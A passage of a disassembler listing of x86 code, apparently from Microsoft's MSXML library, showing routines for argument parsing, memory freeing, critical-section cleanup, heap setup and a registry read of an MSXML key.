		call	sub_69B188DC
		push	offset off_69B1A08C
		call	sub_69B19611
		mov	[ebp-54h], eax
		push	eax		; Value
		mov	ecx, offset dword_69B95A2C ; Target
		call	sub_69B188DC
		push	23h
		push	10h
		call	sub_69B11DC2
		pop	ecx
		pop	ecx
		mov	ecx, eax
		mov	[ebp-58h], ecx
		cmp	ecx, esi
		jz	loc_69B1D7EF
		call	sub_69B1EDE8


loc_69B19FD7:				; CODE XREF: sub_69B19E6E+3983j
		mov	edi, eax
		mov	[ebp-5Ch], edi


loc_69B19FDC:				; CODE XREF: sub_69B19E6E+19Fj
		mov	[ebp-60h], esi
		cmp	esi, 10h
		jge	loc_69B1927E
		mov	ebx, off_69B92188[esi*4]
		mov	[ebp-64h], ebx
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-68h], eax
		push	ebx
		call	sub_69B1A2EC
		push	eax
		mov	ecx, [ebp-68h]
		call	sub_69B199CC
		inc	esi
		jmp	short loc_69B19FDC
sub_69B19E6E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
off_69B1A010	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+8Co
		align 8
		dd 24h
		dd offset aHttpWww_w3_org ; "http://www.w3.org/XML/1998/namespace"
off_69B1A020	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+A4o
		dd 2 dup(0)
		dd offset dword_69B1A0FC
off_69B1A030	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+BCo
					; .data:69B921C0o
		align 8
		dd 23h
		dd offset aUrnSchemasMicr ; "urn:schemas-microsoft-com:datatypes"
off_69B1A040	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+D4o
		align 8
		dd 29h
		dd offset aUuidC2f4101065 ; "uuid:C2F41010-65B3-11D1-A29F-00AA00C148"...
		dd 0
		align 8
off_69B1A058	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+ECo
		align 10h
		dd 2Eh
		dd offset aUrnUuidC2f4101 ; "urn:uuid:C2F41010-65B3-11D1-A29F-00AA00"...
off_69B1A068	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+104o
		align 10h
		dd 22h
		dd offset aUrnSchemasMi_0 ; "urn:schemas-microsoft-com:xml-data"
off_69B1A078	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+11Co
		align 10h
		dd 29h
		dd offset aUuidBdc6e3f06d ; "uuid:BDC6E3F0-6DA3-11D1-A2A3-00AA00C148"...
		dd 0
off_69B1A08C	dd offset off_69B17D10	; DATA XREF: sub_69B19E6E+134o
		dd 0
		dd 24h
		dd offset aUrnSchemasMi_1 ; "urn:schemas-microsoft-com:xml-schema"
		align 10h
dword_69B1A0A0	dd 0FFFFFFFFh			dd offset sub_69B240EA
		dd offset sub_69B240F3
		align 10h
aHttpWww_w3_org:			; DATA XREF: .text:69B1A01Co
		unicode	0, <http://www.w3.org/XML/1998/namespace>,0
		align 4
dword_69B1A0FC	dd 0		aUrnSchemasMicr:			; DATA XREF: .text:69B1A03Co
		unicode	0, <urn:schemas-microsoft-com:datatypes>,0
aUuidC2f4101065:			; DATA XREF: .text:69B1A04Co
		unicode	0, <uuid:C2F41010-65B3-11D1-A29F-00AA00C14882>,0
		align 10h
aUrnUuidC2f4101:			; DATA XREF: .text:69B1A064o
		unicode	0, <urn:uuid:C2F41010-65B3-11D1-A29F-00AA00C14882/>,0
		align 10h
aUrnSchemasMi_0:			; DATA XREF: .text:69B1A074o
		unicode	0, <urn:schemas-microsoft-com:xml-data>,0
		align 4
aUuidBdc6e3f06d:			; DATA XREF: .text:69B1A084o
		unicode	0, <uuid:BDC6E3F0-6DA3-11D1-A2A3-00AA00C14882>,0
		align 10h
aUrnSchemasMi_1:			; DATA XREF: .text:69B1A098o
		unicode	0, <urn:schemas-microsoft-com:xml-schema>,0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_69B1A2EC	proc near		; CODE XREF: sub_69B16A74+3Fp
					; sub_69B19E6E+190p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_69B192CB
		retn	4
sub_69B1A2EC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1879A


loc_69B1A2FD:				; CODE XREF: sub_69B1879A+3Bj
		mov	eax, [esi+0Ch]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B1A30C
		push	3
		jmp	loc_69B18797
; ---------------------------------------------------------------------------


loc_69B1A30C:				; CODE XREF: sub_69B1879A+1B69j
		mov	[ebp+var_4], ebx
		mov	ebx, eax
		jmp	loc_69B187B5
; END OF FUNCTION CHUNK	FOR sub_69B1879A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A319


loc_69B1A316:				; CODE XREF: sub_69B1A319+7Dj
					; sub_69B1A319+86j
		inc	eax
		jmp	short loc_69B1A391
; END OF FUNCTION CHUNK	FOR sub_69B1A319

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1A319	proc near		; CODE XREF: sub_69B1CF24+52p
					; sub_69B1CF24+81p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B1141B SIZE 0000002F BYTES
; FUNCTION CHUNK AT 69B1A316 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 69B24EEC SIZE 00000072 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_69B1A33C
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_69B1A33C:				; CODE XREF: sub_69B1A319+18j
					; sub_69B1A319+57j ...
		cmp	byte ptr [eax],	22h
		jz	loc_69B24EEC
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_69B1A350
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_69B1A350:				; CODE XREF: sub_69B1A319+30j
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_69B95DE1[ebx], 4
		jnz	loc_69B24EFD


loc_69B1A363:				; CODE XREF: sub_69B1A319+ABF0j
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	loc_69B1143D


loc_69B1A36E:				; CODE XREF: sub_69B1A319+ABDFj
		test	edx, edx
		jnz	short loc_69B1A33C
		cmp	cl, 20h
		jz	short loc_69B1A37C
		cmp	cl, 9
		jnz	short loc_69B1A33C


loc_69B1A37C:				; CODE XREF: sub_69B1A319+5Cj
		test	edi, edi
		jz	short loc_69B1A384
		mov	byte ptr [edi-1], 0


loc_69B1A384:				; CODE XREF: sub_69B1A319-8EDBj
					; sub_69B1A319+65j
		and	[ebp+var_4], 0


loc_69B1A388:				; CODE XREF: sub_69B1A319-8EF1j
		cmp	byte ptr [eax],	0
		jz	loc_69B1142D


loc_69B1A391:				; CODE XREF: sub_69B1A319-2j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	loc_69B1A316
		cmp	cl, 9
		jz	loc_69B1A316
		cmp	byte ptr [eax],	0
		jz	loc_69B1142D
		cmp	[ebp+arg_0], 0
		jz	short loc_69B1A3BD
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_69B1A3BD:				; CODE XREF: sub_69B1A319+99j
		inc	dword ptr [ebx]


loc_69B1A3BF:				; CODE XREF: sub_69B1A319+107j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx


loc_69B1A3C4:				; CODE XREF: sub_69B1A319-8ED4j
		cmp	byte ptr [eax],	5Ch
		jz	loc_69B11443
		cmp	byte ptr [eax],	22h
		jz	loc_69B24F0E


loc_69B1A3D6:				; CODE XREF: sub_69B1A319+AC1Bj
		test	edx, edx
		jnz	loc_69B24F39


loc_69B1A3DE:				; CODE XREF: sub_69B1A319+AC2Dj
		mov	cl, [eax]
		test	cl, cl
		jz	loc_69B1141B
		cmp	[ebp+var_4], 0
		jnz	short loc_69B1A400
		cmp	cl, 20h
		jz	loc_69B1141B
		cmp	cl, 9
		jz	loc_69B1141B


loc_69B1A400:				; CODE XREF: sub_69B1A319+D3j
		test	ebx, ebx
		jz	short loc_69B1A41F
		test	edi, edi
		jz	short loc_69B1A422
		movzx	edx, cl
		test	byte_69B95DE1[edx], 4
		jnz	loc_69B24F4B


loc_69B1A418:				; CODE XREF: sub_69B1A319+AC38j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_69B1A41D:				; CODE XREF: sub_69B1A319+113j
					; sub_69B1A319+AC40j
		inc	dword ptr [esi]


loc_69B1A41F:				; CODE XREF: sub_69B1A319+E9j
		inc	eax
		jmp	short loc_69B1A3BF
; ---------------------------------------------------------------------------


loc_69B1A422:				; CODE XREF: sub_69B1A319+EDj
		movzx	ecx, cl
		test	byte_69B95DE1[ecx], 4
		jz	short loc_69B1A41D
		jmp	loc_69B24F56
sub_69B1A319	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A48F


loc_69B1A433:				; CODE XREF: sub_69B1A48F+37j
		mov	eax, [esi+10h]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_69B1B1F3
		mov	eax, [esi+10h]
		add	eax, [ebp+var_4]
		cmp	dword_69B92940,	0
		push	4000h		; dwFreeType
		push	ebx		; dwSize
		push	eax		; lpAddress
		jnz	short loc_69B1A483
		call	ds:VirtualFree	; VirtualFree


loc_69B1A45B:				; CODE XREF: sub_69B1A48F-7j
		test	eax, eax
		jz	short loc_69B1A4CC
		or	dword ptr [edi], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax+2024h]
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_69B1A476
		cmp	eax, edi
		jbe	short loc_69B1A479


loc_69B1A476:				; CODE XREF: sub_69B1A48F-1Fj
		mov	[esi+0Ch], edi


loc_69B1A479:				; CODE XREF: sub_69B1A48F-1Bj
		inc	[ebp+var_8]
		dec	[ebp+arg_4]
		jz	short loc_69B1A4D8
		jmp	short loc_69B1A4CC
; ---------------------------------------------------------------------------


loc_69B1A483:				; CODE XREF: sub_69B1A48F-3Cj
		call	sub_69B2D527
		jmp	short loc_69B1A45B
; ---------------------------------------------------------------------------


loc_69B1A48A:				; CODE XREF: sub_69B1A48F+17j
		mov	esi, [esi+4]
		jmp	short loc_69B1A4ED
; END OF FUNCTION CHUNK	FOR sub_69B1A48F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1A48F	proc near		; CODE XREF: sub_69B1E5B8-18p
					; sub_69B1E5B8-9p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B1A433 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 69B23A91 SIZE 00000042 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [eax+4]
		push	edi
		mov	ebx, 1000h


loc_69B1A4A2:				; CODE XREF: sub_69B1A48F+9639j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	short loc_69B1A48A
		and	[ebp+var_8], 0
		lea	edi, [esi+2010h]
		mov	[ebp+var_4], 3FF000h
		nop
		nop
		nop
		nop
		nop
		nop
		nop


loc_69B1A4C0:				; CODE XREF: sub_69B1A48F+47j
		cmp	dword ptr [edi], 0EFh
		jz	loc_69B1A433


loc_69B1A4CC:				; CODE XREF: sub_69B1A48F-32j
					; sub_69B1A48F-Ej
		sub	[ebp+var_4], ebx
		sub	edi, 8
		cmp	[ebp+var_4], 0
		jge	short loc_69B1A4C0


loc_69B1A4D8:				; CODE XREF: sub_69B1A48F-10j
		cmp	[ebp+var_8], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_69B1A4ED
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jz	loc_69B23A91


loc_69B1A4ED:				; CODE XREF: sub_69B1A48F-2j
					; sub_69B1A48F+52j ...
		mov	eax, [ebp+arg_0]
		cmp	esi, [eax+4]
		jnz	loc_69B23AC4


loc_69B1A4F9:				; CODE XREF: sub_69B1A48F+963Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B1A48F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A509


loc_69B1A4FE:				; CODE XREF: sub_69B1A509+18j
		cmp	dword ptr [esi+4], 1
		jz	short loc_69B1A523
		jmp	loc_69B250A2
; END OF FUNCTION CHUNK	FOR sub_69B1A509

; =============== S U B	R O U T	I N E =======================================



sub_69B1A509	proc near		; CODE XREF: sub_69B11F44+8j
					; sub_69B11F44+1Cj

; FUNCTION CHUNK AT 69B1A4FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 69B250A2 SIZE 00000012 BYTES

		push	ebx
		mov	ebx, ds:DeleteCriticalSection
		push	ebp
		push	esi
		mov	esi, offset lpCriticalSection
		mov	ebp, offset dword_69B927B8
		push	edi


loc_69B1A51D:				; CODE XREF: sub_69B1A509+1Fj
		mov	edi, [esi]
		test	edi, edi
		jnz	short loc_69B1A4FE


loc_69B1A523:				; CODE XREF: sub_69B1A509-7j
					; sub_69B1A509+ABA6j
		add	esi, 8
		cmp	esi, ebp
		jl	short loc_69B1A51D
		mov	esi, offset lpCriticalSection
		pop	edi


loc_69B1A530:				; CODE XREF: sub_69B1A509+32j
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_69B1A541


loc_69B1A536:				; CODE XREF: sub_69B1A509+3Cj
					; sub_69B1A509+41j
		add	esi, 8
		cmp	esi, ebp
		jl	short loc_69B1A530
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B1A541:				; CODE XREF: sub_69B1A509+2Bj
		cmp	dword ptr [esi+4], 1
		jnz	short loc_69B1A536
		push	eax		; lpCriticalSection
		call	ebx ; DeleteCriticalSection
		jmp	short loc_69B1A536
sub_69B1A509	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1992C


loc_69B1A54C:				; CODE XREF: sub_69B1992C+69j
					; sub_69B1992C+C59j
		cmp	esi, 29h
		jge	loc_69B1A8E2
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-3Ch], eax
		push	dword_69B95A3C
		push	off_69B92238[esi*4] ; lpString
		call	sub_69B1A587
		push	eax
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-3Ch]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-34h], esi
		jmp	short loc_69B1A54C
; END OF FUNCTION CHUNK	FOR sub_69B1992C

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B1A587(LPCWSTR lpString)

sub_69B1A587	proc near		; CODE XREF: sub_69B1992C+C41p
					; sub_69B1992C+FD3p ...

lpString	= dword	ptr  4

		push	esi
		mov	esi, [esp+4+lpString]
		test	esi, esi
		jz	short loc_69B1A5A2
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		call	sub_69B190D7


loc_69B1A59E:				; CODE XREF: sub_69B1A587+20j
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B1A5A2:				; CODE XREF: sub_69B1A587+7j
		mov	eax, offset off_69B1A5AC
		jmp	short loc_69B1A59E
sub_69B1A587	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1A5AC	dd offset off_69B17D10	; DATA XREF: sub_69B190C1:loc_69B190CFo
					; sub_69B195DA+21o ...
		dd 0
; UINT dword_69B1A5B4
dword_69B1A5B4	dd 0							; sub_69B59A34+F3r ...
; OLECHAR *off_69B1A5B8
off_69B1A5B8	dd offset dword_69B1A5BC ; DATA	XREF: sub_69B59A34+99r
					; sub_69B59A34:loc_69B59B1Fr ...
dword_69B1A5BC	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_69B1A5C0	proc near		; CODE XREF: sub_69B76CAC+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		push	[esp+10h+arg_4]
		mov	dword ptr [edi], offset	off_69B1A660
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B1A6B4
		lea	eax, [esi+18h]
		mov	[eax], ecx
		lea	edi, [esi+20h]
		mov	[edi], ecx
		lea	ebx, [esi+24h]
		mov	[ebx], ecx
		lea	ebp, [esi+28h]
		mov	[ebp+0], ecx
		mov	[esi+3Ch], ecx
		mov	ecx, [esp+14h+arg_0]
		push	eax
		mov	[esi+1Ch], ecx
		call	sub_69B17320
		push	1
		call	sub_69B1A6EC
		push	eax
		push	edi
		call	sub_69B17320
		push	1000h
		call	sub_69B76C95
		push	eax
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	0
		push	1
		push	10h
		call	sub_69B315DA
		push	eax
		push	ebx
		call	sub_69B17320
		push	0
		push	1
		push	10h
		call	sub_69B315DA
		push	eax
		push	ebp
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
sub_69B1A5C0	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1A660	dd offset sub_69B65C47	; DATA XREF: sub_69B1A5C0+19o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B7666F
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B768D1
		dd offset sub_69B769A0
		dd offset sub_69B76AFB
		dd offset sub_69B76C81
		dd offset sub_69B76463
		dd offset sub_69B76486
		dd offset sub_69B76499
		dd offset sub_69B766B2
off_69B1A6B4	dd offset sub_69B6547B	; DATA XREF: sub_69B1A5C0+21o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B7693D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B76677

; =============== S U B	R O U T	I N E =======================================



sub_69B1A6EC	proc near		; CODE XREF: sub_69B173D1+31p
					; sub_69B1A5C0+4Ep ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 69B24A9C SIZE 00000005 BYTES

		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	loc_69B24A9C
		mov	ecx, eax
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		xor	eax, eax
		mov	[esi+20h], eax
		mov	[esi+14h], eax
		mov	[esi+10h], eax
		mov	al, [esp+4+arg_0]
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B126FC
		mov	[esi+24h], al
		call	sub_69B1A72A
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1A6EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1A72A	proc near		; CODE XREF: sub_69B1A6EC+33p
					; sub_69B3DE0E+50p
		push	esi
		mov	esi, ecx
		call	sub_69B1D7F6
		push	eax
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+20h], 0
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		cmp	byte ptr [esi+24h], 0
		jz	short loc_69B1A766
		push	0
		push	1
		push	64h
		call	sub_69B1A768
		push	eax
		add	esi, 0Ch
		push	esi
		call	sub_69B17320


loc_69B1A766:				; CODE XREF: sub_69B1A72A+25j
		pop	esi
		retn
sub_69B1A72A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1A768	proc near		; CODE XREF: sub_69B11E20+13p
					; sub_69B1889C+17p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B240E5 SIZE 00000005 BYTES

		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	loc_69B240E5
		mov	ecx, eax
		push	esi
		push	[esp+4+arg_8]
		mov	esi, ecx
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B1A799
		mov	dword ptr [esi], offset	off_69B1C220
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B1A768	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1A799	proc near		; CODE XREF: sub_69B1A768+20p
					; sub_69B315A6+13p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 69B11CDB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 69B23FCA SIZE 00000008 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	10h
		pop	edi
		cmp	[ebp+arg_0], edi
		mov	dword ptr [esi], offset	off_69B1C290
		jl	loc_69B23FCA


loc_69B1A7B7:				; CODE XREF: sub_69B1A799+9834j
		fild	[ebp+arg_0]
		mov	al, [ebp+arg_4]
		fld	ds:flt_69B1A828
		mov	[esi+8], al
		mov	dword ptr [esi+10h], 3F6B851Fh
		fmul	st, st(1)
		call	sub_69B1A82C
		fmul	ds:flt_69B122A0
		mov	[esi+14h], eax
		call	sub_69B1A82C
		mov	[esi+18h], eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	edi
		mov	[esi+1Ch], eax
		call	sub_69B11CFE
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	loc_69B11CF7
		mov	ecx, edi
		call	sub_69B19118
		mov	dword ptr [edi], offset	off_69B171C8


loc_69B1A80B:				; CODE XREF: sub_69B1A799-8AA0j
		push	edi
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		cmp	[ebp+arg_8], 0
		jnz	loc_69B11CDB


loc_69B1A81F:				; CODE XREF: sub_69B1A799-8AA7j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B1A799	endp

; ---------------------------------------------------------------------------
		align 4
flt_69B1A828	dd 9.2000002e-1		; DATA XREF: sub_69B1A799+24r

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1A82C	proc near		; CODE XREF: sub_69B1A799+36p
					; sub_69B1A799+44p ...

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 69B22430 SIZE 0000003E BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	loc_69B22451


loc_69B1A853:				; CODE XREF: sub_69B1A82C+7C2Fj
		fsubp	st(1), st
		test	edx, edx
		js	loc_69B22430
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0

locret_69B1A873:			; CODE XREF: sub_69B1A82C+7C20j
					; sub_69B1A82C+7C3Dj
		leave
		retn
sub_69B1A82C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19038


loc_69B1A875:				; CODE XREF: sub_69B19038+18j
		call	dword_69B92948
		mov	[ebp-20h], eax
		test	eax, eax
		jz	loc_69B25746
		mov	ecx, [esi+8]
		shr	ecx, 2
		not	ecx
		and	ecx, 1
		push	ecx
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		mov	[ebp-30h], esi
		mov	[ebp-34h], esi
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_69B1A8AD:				; CODE XREF: sub_69B25759+3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		jmp	loc_69B19056
; END OF FUNCTION CHUNK	FOR sub_69B19038

; =============== S U B	R O U T	I N E =======================================



sub_69B1A8C7	proc near		; CODE XREF: sub_69B19038+185Ep
					; sub_69B1E244+1Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		mov	edx, [ecx+2Ch]
		mov	[eax+4], edx
		mov	edx, [esp+arg_4]
		mov	[eax+8], edx
		mov	[ecx+2Ch], edx
		retn	8
sub_69B1A8C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1992C


loc_69B1A8E2:				; CODE XREF: sub_69B1992C+C23j
					; sub_69B1992C+FEBj
		cmp	esi, 2Ah
		jge	short loc_69B1A919
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-40h], eax
		push	dword_69B95A34
		push	off_69B92238[esi*4] ; lpString
		call	sub_69B1A587
		push	eax
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-40h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-34h], esi
		jmp	short loc_69B1A8E2
; ---------------------------------------------------------------------------


loc_69B1A919:				; CODE XREF: sub_69B1992C+FB9j
					; sub_69B1992C+1026j
		cmp	esi, 32h
		jge	loc_69B11DD9
		push	esi
		mov	ecx, edi
		call	sub_69B1A954
		mov	[ebp-44h], eax
		push	dword_69B95A54
		push	off_69B92238[esi*4] ; lpString
		call	sub_69B1A587
		push	eax
		call	sub_69B192B7
		push	eax
		mov	ecx, [ebp-44h]
		call	sub_69B199CC
		inc	esi
		mov	[ebp-34h], esi
		jmp	short loc_69B1A919
; END OF FUNCTION CHUNK	FOR sub_69B1992C

; =============== S U B	R O U T	I N E =======================================



sub_69B1A954	proc near		; CODE XREF: sub_69B19E6E-BDAp
					; sub_69B1992C+72p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jl	short loc_69B1A96E
		cmp	edi, [esi+8]
		jge	short loc_69B1A96E


loc_69B1A965:				; CODE XREF: sub_69B1A954+1Fj
		lea	eax, [esi+edi*4+0Ch]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B1A96E:				; CODE XREF: sub_69B1A954+Aj
					; sub_69B1A954+Fj
		call	sub_69B2E6D8
		jmp	short loc_69B1A965
sub_69B1A954	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1A975	proc near		; CODE XREF: sub_69B1ABCC+Fp
		push	esi
		call	sub_69B1A9C6
		mov	eax, dword_69B92174
		mov	esi, ds:HeapAlloc
		shl	eax, 2
		push	eax		; dwBytes
		push	8		; dwFlags
		push	hHeap		; hHeap
		call	esi ; HeapAlloc
		mov	lpMem, eax
		mov	eax, dword_69B92178
		shl	eax, 2
		push	eax		; dwBytes
		push	8		; dwFlags
		push	hHeap		; hHeap
		call	esi ; HeapAlloc
		cmp	lpMem, 0
		mov	dword_69B92984,	eax
		pop	esi
		jz	short loc_69B1A9C3
		test	eax, eax
		jz	short loc_69B1A9C3
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B1A9C3:				; CODE XREF: sub_69B1A975+44j
					; sub_69B1A975+48j
		xor	eax, eax
		retn
sub_69B1A975	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1A9C6	proc near		; CODE XREF: sub_69B1A975+1p

Data		= byte ptr -10h
cbData		= dword	ptr -0Ch
hKey		= dword	ptr -8
Type		= dword	ptr -4

; FUNCTION CHUNK AT 69B22D22 SIZE 000000E6 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	1		; samDesired
		xor	ebx, ebx
		push	ebx		; ulOptions
		push	offset SubKey	; "Software\\Microsoft\\Msxml26"
		push	80000002h	; hKey
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jz	loc_69B22D22


loc_69B1A9EE:				; CODE XREF: sub_69B1A9C6+843Dj
		mov	eax, Data
		add	eax, eax
		mov	dword_69B92180,	eax
		pop	ebx
		leave
		retn
sub_69B1A9C6	endp

; ---------------------------------------------------------------------------
		align 10h
; char SubKey[]
SubKey		db 'Software\Microsoft\Msxml26',0 ; DATA XREF: sub_69B1A9C6+10o
; ---------------------------------------------------------------------------
		mov	eax, offset RegOpenKeyExA
		jmp	short $+2


loc_69B1AA22:				; CODE XREF: .text:69B87F91j
					; .text:69B87F9Bj ...
		push	ecx
		push	edx
		push	eax
		push	offset ADVAPI32_dll_import_table
		call	sub_69B1AA33
		pop	edx
		pop	ecx
		jmp	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B1AA33(LONG hModule, DWORD Arguments)

sub_69B1AA33	proc near		; CODE XREF: .text:69B1AA2Ap
					; .text:69B87D5Ap ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
lpLibFileName	= dword	ptr -3Ch
var_38		= dword	ptr -38h
